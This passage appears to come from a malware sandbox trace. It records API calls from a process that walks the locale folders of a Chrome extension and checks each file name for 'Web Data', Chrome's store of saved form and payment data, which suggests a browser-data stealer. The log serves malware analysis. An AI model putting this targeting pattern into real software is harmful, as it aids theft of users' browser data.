Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\*.*" [0056.219] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.219] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.219] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.219] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.219] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.219] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.219] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.219] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.219] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.220] LocalFree (hMem=0x2daec0) returned 0x0 [0056.220] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.220] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.220] lstrcmpiA (lpString1=".", lpString2="lt") returned -1 [0056.220] lstrcmpiA (lpString1="..", lpString2="lt") returned -1 [0056.220] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.220] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.220] lstrlenA (lpString="\\") returned 1 [0056.220] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.220] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.220] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.220] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.220] lstrlenA (lpString="lt") returned 2 [0056.220] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.220] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.220] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="lt" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt" [0056.220] LocalFree (hMem=0x2daca0) returned 0x0 [0056.220] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt") returned 132 [0056.220] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt") returned 132 [0056.220] lstrlenA (lpString="\\*.*") returned 4 [0056.220] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.220] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt" [0056.220] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\*.*" [0056.220] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.220] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.220] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.220] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.220] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.220] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.220] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.220] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.220] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.220] LocalFree (hMem=0x2daec0) returned 0x0 [0056.220] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.220] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.220] lstrcmpiA (lpString1=".", lpString2="lv") returned -1 [0056.220] lstrcmpiA (lpString1="..", lpString2="lv") returned -1 [0056.220] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.220] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.220] lstrlenA (lpString="\\") returned 1 [0056.220] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.220] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.220] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.220] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.220] lstrlenA (lpString="lv") returned 2 [0056.220] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.220] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.221] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="lv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv" [0056.221] LocalFree (hMem=0x2daca0) returned 0x0 [0056.221] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv") returned 132 [0056.221] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv") returned 132 [0056.221] lstrlenA (lpString="\\*.*") returned 4 [0056.221] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.221] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv" [0056.221] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\*.*" [0056.221] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.221] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.221] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.221] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.221] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.221] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.221] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.221] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.221] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.221] LocalFree (hMem=0x2daec0) returned 0x0 [0056.221] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.221] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.221] lstrcmpiA (lpString1=".", lpString2="ms") returned -1 [0056.221] lstrcmpiA (lpString1="..", lpString2="ms") returned -1 [0056.221] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.221] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.221] lstrlenA (lpString="\\") returned 1 [0056.221] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.221] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.221] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.221] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.221] lstrlenA (lpString="ms") returned 2 [0056.221] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.221] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.221] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="ms" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms" [0056.221] LocalFree (hMem=0x2daca0) returned 0x0 [0056.221] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms") returned 132 [0056.221] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms") returned 132 [0056.221] lstrlenA (lpString="\\*.*") returned 4 [0056.221] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.221] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms" [0056.221] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\*.*" [0056.221] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.222] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.222] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.222] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.222] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.222] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.222] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.222] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.222] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.222] LocalFree (hMem=0x2daec0) returned 0x0 [0056.222] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.222] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.222] lstrcmpiA (lpString1=".", lpString2="nl") returned -1 [0056.222] lstrcmpiA (lpString1="..", lpString2="nl") returned -1 [0056.222] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.222] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.222] lstrlenA (lpString="\\") returned 1 [0056.222] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.222] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.222] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.222] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.222] lstrlenA (lpString="nl") returned 2 [0056.222] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.222] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.222] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="nl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl" [0056.222] LocalFree (hMem=0x2daca0) returned 0x0 [0056.222] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl") returned 132 [0056.222] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl") returned 132 [0056.222] lstrlenA (lpString="\\*.*") returned 4 [0056.222] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.222] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl" [0056.222] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\*.*" [0056.222] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.222] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.222] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.222] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.222] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.222] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.222] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.222] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.222] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.222] LocalFree (hMem=0x2daec0) returned 0x0 [0056.222] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.222] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.223] lstrcmpiA (lpString1=".", lpString2="no") returned -1 